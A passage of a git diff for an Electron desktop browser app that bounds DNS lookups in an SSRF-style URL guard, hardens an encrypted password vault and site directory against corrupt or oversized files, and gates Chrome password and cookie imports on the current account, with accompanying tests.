(!hasSession() && getBrowserScopeId() === getActiveBrowserScopeId() && isPanelVisible()) { - addTab() - if (transferBrowserFocus) currentScope.focusedBrowserTabId = currentScope.activeTabId - return - } - if (transferBrowserFocus) currentScope.focusedBrowserTabId = currentScope.activeTabId - persistBrowserSession() - events?.onTabsChanged() - if (!hasSession()) { - events?.onSessionClosed() - } -} - export function closeTab(tabId: string): void { restoreBrowserSession() const index = tabs.findIndex((entry) => entry.id === tabId) @@ -1845,10 +2304,11 @@ export function closeTab(tabId: string): void { if (tabs[index].pinned) { throw new SessionError('Pinned tabs cannot be closed. Unpin the tab first.') } - // Before the splice, while the tab is still resolvable — see forgetTab. + // Before the splice, while the tab is still resolvable, stop page-owned UI. dismissFind(tabId) clearAutomationIndicatorsForTab(tabId) const [tab] = tabs.splice(index, 1) + revokeTabMediaPermissions(tab, false) recentlyClosedTabUrls.unshift(sanitizeRestorableUrl(tabUrl(tab)) ?? 'about:blank') if (recentlyClosedTabUrls.length > MAX_RECENTLY_CLOSED_TABS) { recentlyClosedTabUrls.length = MAX_RECENTLY_CLOSED_TABS @@ -2080,6 +2540,7 @@ function closeTabFromUser(tabId: string): void { function closeLiveTabs(): void { dismissFind(currentScope.findingTabId) for (const tab of tabs.splice(0)) { + revokeTabMediaPermissions(tab, false) detachIfAttached(tab.view) if (!tab.view.webContents.isDestroyed()) { tab.view.webContents.close() @@ -2212,14 +2673,18 @@ export async function clearAgentData(kinds: readonly BrowserDataKind[]): Promise export function listTabs(): BrowserTabState[] { return tabs .filter((tab) => !tab.view.webContents.isDestroyed()) - .map((tab) => ({ - tabId: tab.id, - title: tab.view.webContents.getTitle(), - url: tab.pendingRestoreUrl || tab.view.webContents.getURL(), - loading: tab.view.webContents.isLoadingMainFrame(), - active: tab.id === currentScope.activeTabId, - pinned: tab.pinned, - })) + .map((tab) => { + const issue = tab.pageIssue + return { + tabId: tab.id, + title: issue?.kind === 'load-error' ? '' : tab.view.webContents.getTitle(), + url: issue?.url || tab.pendingRestoreUrl || tab.view.webContents.getURL(), + loading: issue ? false : tab.view.webContents.isLoadingMainFrame(), + active: tab.id === currentScope.activeTabId, + pinned: tab.pinned, + ...(issue ? { issue } : {}), + } + }) } export function getTabsState(): BrowserTabsState { diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts index e50d51eb6b7..0468ffb799a 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.test.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts @@ -217,6 +217,53 @@ describe('isBlockedSubresourceUrl', () => { expect(mockLookup).toHaveBeenCalledTimes(1) }) + it('bounds DNS concurrency across distinct hostile hostnames', async () => { + let active = 0 + let peak = 0 + const releases: Array<() => void> = [] + mockLookup.mockImplementation( + () => + new Promise((resolve) => { + active++ + peak = Math.max(peak, active) + releases.push(() => { + active-- + resolve([{ address: '93.184.216.34', family: 4 }]) + }) + }) + ) + + const verdicts = Array.from({ length: 24 }, (_, index) => + isBlockedSubresourceUrl(`https://parallel-${index}.example/app.js`) + ) + await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(8)) + releases.splice(0).forEach((release) => release()) + await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(16)) + releases.splice(0).forEach((release) => release()) + await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(24)) + releases.splice(0).forEach((release) => release()) + await Promise.all(verdicts) + + expect(peak).toBe(8) + expect(mockLookup).toHaveBeenCalledTimes(24) + }) + + it('bounds queued requests by the original DNS deadline', async () => { + vi.useFakeTimers() + try { + mockLookup.mockReturnValue(new Promise(() => {})) + const verdicts = Array.from({ length: 16 }, (_, index) => + isBlockedSubresourceUrl(`https://slow-${index}.example/app.js`) + ) + await vi.advanceTimersByTimeAsync(5_000) + + await expect(Promise.all(verdicts)).resolves.toEqual(Array(16).fill(true)) + expect(mockLookup).toHaveBeenCalledTimes(8) + } finally { + vi.useRealTimers() + } + }) + it('treats a trailing-dot host as the same host', async () => { await isBlockedSubresourceUrl('https://example.com/a.js') await isBlockedSubresourceUrl('https://example.com./b.js') diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts index 96b3954bedd..75a20e2679d 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.ts @@ -1,5 +1,5 @@ import { createLogger } from '@sim/logger' -import { resolveHostAddresses } from '@sim/security/dns' +import { DEFAULT_DNS_TIMEOUT_MS, DnsTimeoutError, resolveHostAddresses } from '@sim/security/dns' import { isIpLiteral, isLoopbackIp, @@ -100,7 +100,7 @@ export async function checkAgentUrl(rawUrl: string): Promise { } try { - const { addresses } = await resolveHostAddresses(host) + const { addresses } = await resolveHostAddressesBounded(host) if (addresses.some((address) => isBlockedAddress(address))) { logger.warn('Blocked agent navigation resolving to private IP', { host }) return BLOCKED @@ -151,6 +151,57 @@ const HOST_VERDICT_TTL_MS = 30_000 * bounded rather than left to grow. */ const MAX_HOST_VERDICTS = 256 +const MAX_CONCURRENT_DNS_LOOKUPS = 8 +const MAX_QUEUED_DNS_LOOKUPS = 64 + +let activeDnsLookups = 0 +const dnsLookupWaiters: Array<() => void> = [] + +async function acquireDnsLookupSlot(host: string, deadline: number): Promise { + if (activeDnsLookups < MAX_CONCURRENT_DNS_LOOKUPS) { + activeDnsLookups++ + return + } + if (dnsLookupWaiters.length >= MAX_QUEUED_DNS_LOOKUPS) { + throw new Error('DNS lookup queue is full') + } + const remainingMs = deadline - Date.now() + if (remainingMs <= 0) throw new DnsTimeoutError(host) + + await new Promise((resolve, reject) => { + const grant = () => { + clearTimeout(timer) + resolve() + } + const timer = setTimeout(() => { + const index = dnsLookupWaiters.indexOf(grant) + if (index >= 0) dnsLookupWaiters.splice(index, 1) + reject(new DnsTimeoutError(host)) + }, remainingMs) + dnsLookupWaiters.push(grant) + }) +} + +function releaseDnsLookupSlot(): void { + const next = dnsLookupWaiters.shift() + if (next) { + next() + return + } + activeDnsLookups-- +} + +async function resolveHostAddressesBounded(host: string) { + const deadline = Date.now() + DEFAULT_DNS_TIMEOUT_MS + await acquireDnsLookupSlot(host, deadline) + try { + const remainingMs = deadline - Date.now() + if (remainingMs <= 0) throw new DnsTimeoutError(host) + return await resolveHostAddresses(host, { timeoutMs: remainingMs }) + } finally { + releaseDnsLookupSlot() + } +} /** * The in-flight or settled verdict per host. @@ -216,7 +267,7 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise const cached = hostVerdicts.get(host) if (cached && Date.now() < cached.expiry) return cached.verdict - const verdict = resolveHostAddresses(host) + const verdict = resolveHostAddressesBounded(host) .then(({ addresses }) => { const blocked = addresses.some((address) => isBlockedAddress(address)) if (blocked) { diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts index 91814d5fba7..8a534fc9f72 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts @@ -3,6 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' const promptTouchID = vi.fn(async () => undefined) const canPromptTouchID = vi.fn(() => true) const showMessageBox = vi.fn(async () => ({ response: 1 })) +const getFocusedWindow = vi.fn(() => null as { isDestroyed(): boolean } | null) vi.mock('electron', () => ({ systemPreferences: { @@ -18,6 +19,11 @@ vi.mock('electron', () => ({ return showMessageBox }, }, + BrowserWindow: { + get getFocusedWindow() { + return getFocusedWindow + }, + }, })) vi.mock('@sim/logger', () => ({ @@ -67,6 +73,7 @@ describe('authorizeForSecret', () => { vi.useRealTimers() revokeSecretAuthorization() setPlatform('darwin') + getFocusedWindow.mockReturnValue(null) canPromptTouchID.mockReturnValue(true) promptTouchID.mockResolvedValue(undefined) }) @@ -199,11 +206,26 @@ describe('authorizeForSecret', () => { expect.objectContaining({ message: 'Copy password?', buttons: ['Cancel', 'Copy password'], + defaultId: 0, + cancelId: 0, detail: expect.stringContaining('copy a saved password'), }) ) }) + it('parents fallback confirmation to the focused app window', async () => { + canPromptTouchID.mockReturnValue(false) + const parent = { isDestroyed: vi.fn(() => false) } + getFocusedWindow.mockReturnValue(parent) + + await authorizeForSecret(copyRequest('c1')) + + expect(showMessageBox).toHaveBeenCalledWith( + parent, + expect.objectContaining({ message: 'Copy password?' }) + ) + }) + it('fails closed when the fallback dialog cannot be shown', async () => { canPromptTouchID.mockReturnValue(false) showMessageBox.mockRejectedValueOnce(new Error('no window')) diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index 30e93d14680..57749e6e5ac 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -1,5 +1,6 @@ import { createLogger } from '@sim/logger' -import { dialog, systemPreferences } from 'electron' +import type { MessageBoxOptions } from 'electron' +import { BrowserWindow, dialog, systemPreferences } from 'electron' const logger = createLogger('BrowserCredentialAuth') @@ -130,15 +131,20 @@ async function promptForSecret(reason: string, action: string): Promise } try { - const { response } = await dialog.showMessageBox({ + const options: MessageBoxOptions = { type: 'warning', buttons: ['Cancel', action], - defaultId: 1, + defaultId: 0, cancelId: 0, message: `${action}?`, detail: `Sim is about to ${reason}. Make sure nobody can see your screen.`, noLink: true, - }) + } + const parent = BrowserWindow.getFocusedWindow() + const { response } = + parent && !parent.isDestroyed() + ? await dialog.showMessageBox(parent, options) + : await dialog.showMessageBox(options) return response === 1 } catch (error) { // Fail closed: if the confirmation cannot be shown, nothing is revealed. diff --git a/apps/desktop/src/main/browser-credentials/vault.test.ts b/apps/desktop/src/main/browser-credentials/vault.test.ts index 844406d0827..3fc1d958544 100644 --- a/apps/desktop/src/main/browser-credentials/vault.test.ts +++ b/apps/desktop/src/main/browser-credentials/vault.test.ts @@ -1,4 +1,4 @@ -import { mkdtemp, readFile, rm, stat } from 'node:fs/promises' +import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -258,15 +258,78 @@ describe('CredentialVault', () => { await expect(vault.clear()).resolves.toBeUndefined() }) - it('reads a corrupt or undecryptable vault as empty instead of throwing', async () => { + it('preserves an undecryptable vault until clear explicitly resets it', async () => { const provider = encryption() - provider.decryptString = vi.fn(() => { + provider.decryptString.mockImplementationOnce(() => { throw new Error('wrong key') }) const vault = new CredentialVault(vaultPath, encryption()) await vault.importCredentials(CANDIDATES, 'keep-existing') + const original = await readFile(vaultPath, 'utf8') const brokenVault = new CredentialVault(vaultPath, provider) await expect(brokenVault.list()).resolves.toEqual([]) + expect(brokenVault.isAvailable()).toBe(false) + await expect(brokenVault.importCredentials(CANDIDATES, 'replace')).resolves.toEqual({ + added: 0, + updated: 0, + skipped: 2, + }) + await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original) + + await brokenVault.clear() + expect(brokenVault.isAvailable()).toBe(true) + await expect(brokenVault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toEqual({ + added: 1, + updated: 0, + skipped: 0, + }) + await expect(brokenVault.list()).resolves.toHaveLength(1) + }) + + it('preserves an oversized vault until explicit clear resets persistence', async () => { + await writeFile(vaultPath, '') + await truncate(vaultPath, 64 * 1024 * 1024 + 1) + const vault = new CredentialVault(vaultPath, encryption()) + + await expect(vault.list()).resolves.toEqual([]) + expect(vault.isAvailable()).toBe(false) + await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({ + added: 0, + }) + expect((await stat(vaultPath)).size).toBe(64 * 1024 * 1024 + 1) + + await vault.clear() + await expect(vault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toMatchObject({ + added: 1, + }) + }) + + it('blocks a stored credential with fields outside the persistence contract', async () => { + const provider = encryption() + const payload = [ + { + id: 'credential-1', + origin: 'https://example.com', + username: 'ada', + password: 'secret', + icon: { unexpected: true }, + createdAt: '2026-01-01T00:00:00.000Z', + updatedAt: '2026-01-01T00:00:00.000Z', + source: 'chrome', + }, + ] + const original = JSON.stringify({ + version: 1, + ciphertext: provider.encryptString(JSON.stringify(payload)).toString('base64'), + }) + await writeFile(vaultPath, original) + const vault = new CredentialVault(vaultPath, provider) + + await expect(vault.list()).resolves.toEqual([]) + await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({ + added: 0, + }) + await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original) }) }) diff --git a/apps/desktop/src/main/browser-credentials/vault.ts b/apps/desktop/src/main/browser-credentials/vault.ts index e5ecb659e36..08b6fe0a5f0 100644 --- a/apps/desktop/src/main/browser-credentials/vault.ts +++ b/apps/desktop/src/main/browser-credentials/vault.ts @@ -1,8 +1,13 @@ -import { readFile } from 'node:fs/promises' import type { BrowserCredentialMetadata } from '@sim/desktop-bridge' +import { createLogger } from '@sim/logger' import { generateId } from '@sim/utils/id' import { safeStorage } from 'electron' -import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file' +import { + FileResourceLimitError, + readFileWithinLimit, + removeFileIfPresent, + writeJsonFileAtomically, +} from '@/main/atomic-json-file' import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/origin' /** @@ -20,6 +25,16 @@ import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/o */ const VAULT_VERSION = 1 +const MAX_VAULT_FILE_BYTES = 64 * 1024 * 1024 +const MAX_VAULT_PAYLOAD_BYTES = 45 * 1024 * 1024 +const MAX_CREDENTIAL_RECORDS = 50_000 +const MAX_CREDENTIAL_ID_LENGTH = 128 +const MAX_CREDENTIAL_ORIGIN_LENGTH = 2_048 +const MAX_LOGIN_NAME_LENGTH = 4_096 +const MAX_SECRET_VALUE_LENGTH = 65_536 +const MAX_CREDENTIAL_ICON_LENGTH = 2 * 1024 * 1024 +const MAX_CREDENTIAL_TIMESTAMP_LENGTH = 64 +const logger = createLogger('BrowserCredentialVault') export interface CredentialRecord { id: string @@ -65,11 +80,25 @@ function isCredentialRecord(value: unknown): value is CredentialRecord { const record = value as Record return ( typeof record.id === 'string' && + record.id.length > 0 && + record.id.length <= MAX_CREDENTIAL_ID_LENGTH && typeof record.origin === 'string' && + record.origin.length > 0 && + record.origin.length <= MAX_CREDENTIAL_ORIGIN_LENGTH && + normalizeOrigin(record.origin) === record.origin && typeof record.username === 'string' && + record.username.length <= MAX_LOGIN_NAME_LENGTH && typeof record.password === 'string' && + record.password.length > 0 && + record.password.length <= MAX_SECRET_VALUE_LENGTH && + (record.icon === undefined || + (typeof record.icon === 'string' && record.icon.length <= MAX_CREDENTIAL_ICON_LENGTH)) && typeof record.createdAt === 'string' && + record.createdAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH && + Number.isFinite(Date.parse(record.createdAt)) && typeof record.updatedAt === 'string' && + record.updatedAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH && + Number.isFinite(Date.parse(record.updatedAt)) && (record.source === 'chrome' || record.source === 'manual') ) } @@ -97,6 +126,7 @@ export class CredentialVault { * failed disk write does not permanently poison subsequent mutations. */ private mutationTail: Promise = Promise.resolve() + private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown' constructor( private readonly filePath: string, @@ -122,7 +152,7 @@ export class CredentialVault { // returning false, and an unguarded call propagated out of a password // import. The site directory has always defended against it; this did not. try { - return this.encryption.isEncryptionAvailable() + return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable() } catch { return false } @@ -135,27 +165,59 @@ export class CredentialVault { private async read(): Promise { if (!this.isAvailable()) return [] try { - const raw = JSON.parse(await readFile(this.filePath, 'utf8')) as - | Partial - | undefined - if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') return [] - const parsed = JSON.parse( - this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) - ) as unknown - return Array.isArray(parsed) ? parsed.filter(isCredentialRecord) : [] - } catch { - // A missing, corrupt, or undecryptable vault reads as empty rather than - // throwing: the browser must stay usable, and a failed write is where - // the user is told something is wrong. + const raw = JSON.parse( + (await readFileWithinLimit(this.filePath, MAX_VAULT_FILE_BYTES)).toString('utf8') + ) as Partial | undefined + if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') { + this.blockPersistence('invalid-envelope') + return [] + } + const decrypted = this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) + if (Buffer.byteLength(decrypted, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) { + this.blockPersistence('resource-limit') + return [] + } + const parsed = JSON.parse(decrypted) as unknown + if ( + !Array.isArray(parsed) || + parsed.length > MAX_CREDENTIAL_RECORDS || + !parsed.every(isCredentialRecord) + ) { + this.blockPersistence('invalid-payload') + return [] + } + this.persistenceState = 'writable' + return parsed + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + this.persistenceState = 'writable' + return [] + } + if (error instanceof FileResourceLimitError) { + this.blockPersistence('resource-limit') + return [] + } + this.blockPersistence('read-failed') return [] } } + private blockPersistence( + reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit' + ): void { + if (this.persistenceState !== 'blocked') { + logger.warn('Credential vault persistence is unavailable', { reason }) + } + this.persistenceState = 'blocked' + } + private async write(records: CredentialRecord[]): Promise { if (!this.isAvailable()) return false + const payload = JSON.stringify(records) + if (Buffer.byteLength(payload, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) return false const envelope: EncryptedVaultEnvelope = { version: VAULT_VERSION, - ciphertext: this.encryption.encryptString(JSON.stringify(records)).toString('base64'), + ciphertext: this.encryption.encryptString(payload).toString('base64'), } await writeJsonFileAtomically(this.filePath, envelope) return true @@ -251,7 +313,17 @@ export class CredentialVault { for (const candidate of candidates) { const origin = normalizeOrigin(candidate.origin) const username = normalizeUsername(candidate.username) - if (origin === null || candidate.password.length === 0) { + const icon = + candidate.icon && candidate.icon.length <= MAX_CREDENTIAL_ICON_LENGTH + ? candidate.icon + : undefined + if ( + origin === null || + origin.length > MAX_CREDENTIAL_ORIGIN_LENGTH || + username.length > MAX_LOGIN_NAME_LENGTH || + candidate.password.length === 0 || + candidate.password.length > MAX_SECRET_VALUE_LENGTH + ) { outcome.skipped += 1 continue } @@ -262,8 +334,8 @@ export class CredentialVault { if (policy === 'keep-existing' || existing.password === candidate.password) { // A re-import still refreshes a missing icon; that is not a // credential change, so it does not count as an update. - if (candidate.icon && !existing.icon) { - existing.icon = candidate.icon + if (icon && !existing.icon) { + existing.icon = icon iconsAdded = true } outcome.skipped += 1 @@ -272,17 +344,21 @@ export class CredentialVault { existing.password = candidate.password existing.updatedAt = timestamp existing.source = 'chrome' - if (candidate.icon) existing.icon = candidate.icon + if (icon) existing.icon = icon outcome.updated += 1 continue } + if (records.length >= MAX_CREDENTIAL_RECORDS) { + outcome.skipped += 1 + continue + } const record: CredentialRecord = { id: generateId(), origin, username, password: candidate.password, - ...(candidate.icon ? { icon: candidate.icon } : {}), + ...(icon ? { icon } : {}), createdAt: timestamp, updatedAt: timestamp, source: 'chrome', @@ -305,6 +381,9 @@ export class CredentialVault { * machine cannot inherit the previous user's passwords. */ async clear(): Promise { - await this.serializeMutation(() => removeFileIfPresent(this.filePath)) + await this.serializeMutation(async () => { + await removeFileIfPresent(this.filePath) + this.persistenceState = 'writable' + }) } } diff --git a/apps/desktop/src/main/browser-import/import-service.test.ts b/apps/desktop/src/main/browser-import/import-service.test.ts index b29395a14c9..f1c9567c1a7 100644 --- a/apps/desktop/src/main/browser-import/import-service.test.ts +++ b/apps/desktop/src/main/browser-import/import-service.test.ts @@ -81,6 +81,7 @@ function createDeps(overrides: Partial = {}): ImportServiceDe readFavicons: async () => new Map(), readSites: async () => [], rememberSites: async () => {}, + commit: (operation) => operation(), vault: { isAvailable: () => true, importCredentials: async (candidates) => ({ @@ -347,6 +348,31 @@ describe('importChromeCookies', () => { }) describe('importChromePasswords', () => { + it('does not commit passwords when account teardown begins during the source read', async () => { + let releaseRead: ((result: ReadPasswordsResult) => void) | undefined + const readResult = new Promise((resolve) => { + releaseRead = resolve + }) + let current = true + const importCredentials = vi.fn(async () => ({ added: 1, updated: 0, skipped: 0 })) + const deps = createDeps({ + readPasswords: () => readResult, + commit: async (operation) => { + if (!current) throw new Error('account expired') + return operation() + }, + vault: { isAvailable: () => true, importCredentials }, + }) + + const pending = importChromePasswords(undefined, 'keep-existing', deps) + await vi.waitFor(() => expect(releaseRead).toBeTypeOf('function')) + current = false + releaseRead?.(readPasswords()) + + await expect(pending).resolves.toMatchObject({ error: 'unknown' }) + expect(importCredentials).not.toHaveBeenCalled() + }) + it('stores decrypted passwords in the vault and reports counts', async () => { const importCredentials = vi.fn(async () => ({ added: 2, updated: 1, skipped: 0 })) const deps = createDeps({ diff --git a/apps/desktop/src/main/browser-import/import-service.ts b/apps/desktop/src/main/browser-import/import-service.ts index 8ea65498a49..11c943efa12 100644 --- a/apps/desktop/src/main/browser-import/import-service.ts +++ b/apps/desktop/src/main/browser-import/import-service.ts @@ -43,6 +43,8 @@ export interface ImportServiceDeps { readSites: (historyPath: string, domains: ReadonlySet) => Promise /** Records the hosts an import brought over, with their names and icons. */ rememberSites: (records: readonly SiteRecord[]) => Promise + /** Admits a final persistent write only while its originating account is current. */ + commit: (operation: () => Promise) => Promise vault: { isAvailable: () => boolean importCredentials: ( @@ -218,7 +220,7 @@ async function runCookieImport( } } - const written = await deps.writeCookies(read.cookies) + const written = await deps.commit(() => deps.writeCookies(read.cookies)) const result: BrowserImportResult = { cookiesImported: written.imported, cookiesSkipped: skippedReading + written.failed, @@ -294,10 +296,8 @@ async function runPasswordImport( const candidates = read.credentials.map( ({ sourceModifiedAt: _sourceModifiedAt, ...candidate }) => candidate ) - const outcome = await deps.vault.importCredentials( - await withFavicons(candidates, profile.faviconsPath, deps), - policy - ) + const importedCandidates = await withFavicons(candidates, profile.faviconsPath, deps) + const outcome = await deps.commit(() => deps.vault.importCredentials(importedCandidates, policy)) const result: BrowserPasswordImportResult = { passwordsAdded: outcome.added, passwordsUpdated: outcome.updated, @@ -558,14 +558,16 @@ async function rememberImportedSites( : new Map() const importedAt = new Date().toISOString() - await deps.rememberSites( - sites.map((site) => ({ - hostname: site.hostname, - name: site.name, - icon: icons.get(originOf(site.hostname)), - visits: site.visits, - importedAt, - })) + await deps.commit(() => + deps.rememberSites( + sites.map((site) => ({ + hostname: site.hostname, + name: site.name, + icon: icons.get(originOf(site.hostname)), + visits: site.visits, + importedAt, + })) + ) ) } catch { // Category only, like every other failure path here: the detail that would diff --git a/apps/desktop/src/main/browser-import/index.ts b/apps/desktop/src/main/browser-import/index.ts index 92ec971868d..299de7bcceb 100644 --- a/apps/desktop/src/main/browser-import/index.ts +++ b/apps/desktop/src/main/browser-import/index.ts @@ -5,6 +5,10 @@ import type { BrowserImportResult, BrowserPasswordImportResult, } from '@sim/desktop-bridge' +import { + captureAccountDataGeneration, + runAccountDataMutation, +} from '@/main/account-data-generation' import { importAgentCookies } from '@/main/browser-agent/session' import { credentialsAvailable, importCredentials } from '@/main/browser-credentials' import { readBrowserCookies } from '@/main/browser-import/chromium-cookies' @@ -28,6 +32,7 @@ import { rememberSites } from '@/main/browser-sites' * `import-service`. The IPC layer talks to this module and nothing deeper. */ function deps(): ImportServiceDeps { + const generation = captureAccountDataGeneration() return { platform: process.platform, listProfiles: () => listAllBrowserProfiles(), @@ -38,6 +43,7 @@ function deps(): ImportServiceDeps { readFavicons: (faviconsPath, origins) => readBrowserFavicons(faviconsPath, origins), readSites: (historyPath, domains) => readBrowserSites(historyPath, domains), rememberSites: (records) => rememberSites(records), + commit: (operation) => runAccountDataMutation(generation, operation), vault: { isAvailable: () => credentialsAvailable(), importCredentials: (candidates, policy) => importCredentials(candidates, policy), diff --git a/apps/desktop/src/main/browser-sites/directory.test.ts b/apps/desktop/src/main/browser-sites/directory.test.ts index af3c1919f4b..68d3643d831 100644 --- a/apps/desktop/src/main/browser-sites/directory.test.ts +++ b/apps/desktop/src/main/browser-sites/directory.test.ts @@ -1,4 +1,4 @@ -import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' +import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -74,6 +74,32 @@ describe('SiteDirectory', () => { ]) }) + it('keeps sites from concurrent imports', async () => { + const store = open() + + await Promise.all([ + store.remember([{ hostname: 'github.com', name: 'GitHub' }]), + store.remember([{ hostname: 'linear.app', name: 'Linear' }]), + ]) + + expect((await store.list()).map((site) => site.hostname).sort()).toEqual([ + 'github.com', + 'linear.app', + ]) + }) + + it('applies concurrent imports and clear in invocation order', async () => { + const store = open() + + await Promise.all([ + store.remember([{ hostname: 'github.com', name: 'GitHub' }]), + store.clear(), + store.remember([{ hostname: 'linear.app', name: 'Linear' }]), + ]) + + expect(await store.list()).toEqual([{ hostname: 'linear.app', name: 'Linear' }]) + }) + it('keeps an existing icon when a later import only learns a name', async () => { const store = open() await store.remember([{ hostname: 'github.com', icon: 'data:png' }]) @@ -204,19 +230,44 @@ describe('SiteDirectory', () => { await expect(readFile(path)).rejects.toThrow() }) - it('reads as empty rather than throwing on a corrupt file', async () => { - await writeFile(path, 'not json at all') + it('preserves a corrupt file until clear explicitly resets persistence', async () => { + const original = 'not json at all' + await writeFile(path, original) + const store = open() - expect(await open().list()).toEqual([]) + expect(await store.list()).toEqual([]) + expect(store.isAvailable()).toBe(false) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).toBe(original) + + const clearing = store.clear() + const remembering = store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + await Promise.all([clearing, remembering]) + expect(store.isAvailable()).toBe(true) + expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }]) }) - it('ignores a directory written by a future version', async () => { - await writeFile(path, JSON.stringify({ version: 99, payload: 'whatever' })) + it('does not overwrite a directory written by a future version', async () => { + const original = JSON.stringify({ version: 99, payload: 'whatever' }) + await writeFile(path, original) + const store = open() - expect(await open().list()).toEqual([]) + expect(await store.list()).toEqual([]) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).toBe(original) }) - it('drops a directory written before imported hosts became suggestions', async () => { + it('does not overwrite a malformed legacy directory', async () => { + const original = JSON.stringify({ version: 1 }) + await writeFile(path, original) + const store = open() + + expect(await store.list()).toEqual([]) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).toBe(original) + }) + + it('replaces a valid legacy directory on the next import', async () => { // Version 1 was seeded from imported cookie hosts — mostly ad and analytics // origins — and those records only ever decorated a host the omnibox already // had. Version 2 records are offered as suggestions in their own right, so @@ -224,15 +275,47 @@ describe('SiteDirectory', () => { // dropdown. The payload below decrypts cleanly; it is discarded on meaning, // not on damage. const version1: SiteRecord[] = [{ hostname: 'doubleclick.net', name: 'DoubleClick' }] - await writeFile( - path, - JSON.stringify({ - version: 1, - payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'), - }) - ) + const original = JSON.stringify({ + version: 1, + payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'), + }) + await writeFile(path, original) - expect(await open().list()).toEqual([]) + const store = open() + expect(await store.list()).toEqual([]) + + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).not.toBe(original) + }) + + it('preserves an oversized directory until explicit clear', async () => { + await writeFile(path, '') + await truncate(path, 16 * 1024 * 1024 + 1) + const store = open() + + expect(await store.list()).toEqual([]) + expect(store.isAvailable()).toBe(false) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect((await stat(path)).size).toBe(16 * 1024 * 1024 + 1) + + await store.clear() + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }]) + }) + + it('blocks stored site records with invalid field values', async () => { + const payload = [{ hostname: 'github.com', visits: -1 }] + const original = JSON.stringify({ + version: 2, + payload: encryption.encryptString(JSON.stringify(payload)).toString('base64'), + }) + await writeFile(path, original) + const store = open() + + expect(await store.list()).toEqual([]) + await store.remember([{ hostname: 'linear.app', name: 'Linear' }]) + expect(await readFile(path, 'utf8')).toBe(original) }) it('skips an entry with no hostname to key it by', async () => { diff --git a/apps/desktop/src/main/browser-sites/directory.ts b/apps/desktop/src/main/browser-sites/directory.ts index ba135bb2836..994b5e79585 100644 --- a/apps/desktop/src/main/browser-sites/directory.ts +++ b/apps/desktop/src/main/browser-sites/directory.ts @@ -1,6 +1,11 @@ -import { readFile } from 'node:fs/promises' +import { createLogger } from '@sim/logger' import { safeStorage } from 'electron' -import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file' +import { + FileResourceLimitError, + readFileWithinLimit, + removeFileIfPresent, + writeJsonFileAtomically, +} from '@/main/atomic-json-file' /** * What the sites brought over from another browser are called, and what they @@ -30,6 +35,13 @@ import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json * trade for a cache of someone else's data that is now user-visible. */ const DIRECTORY_VERSION = 2 +const MAX_DIRECTORY_FILE_BYTES = 16 * 1024 * 1024 +const MAX_DIRECTORY_PAYLOAD_BYTES = 10 * 1024 * 1024 +const MAX_SITE_HOSTNAME_LENGTH = 253 +const MAX_SITE_NAME_LENGTH = 512 +const 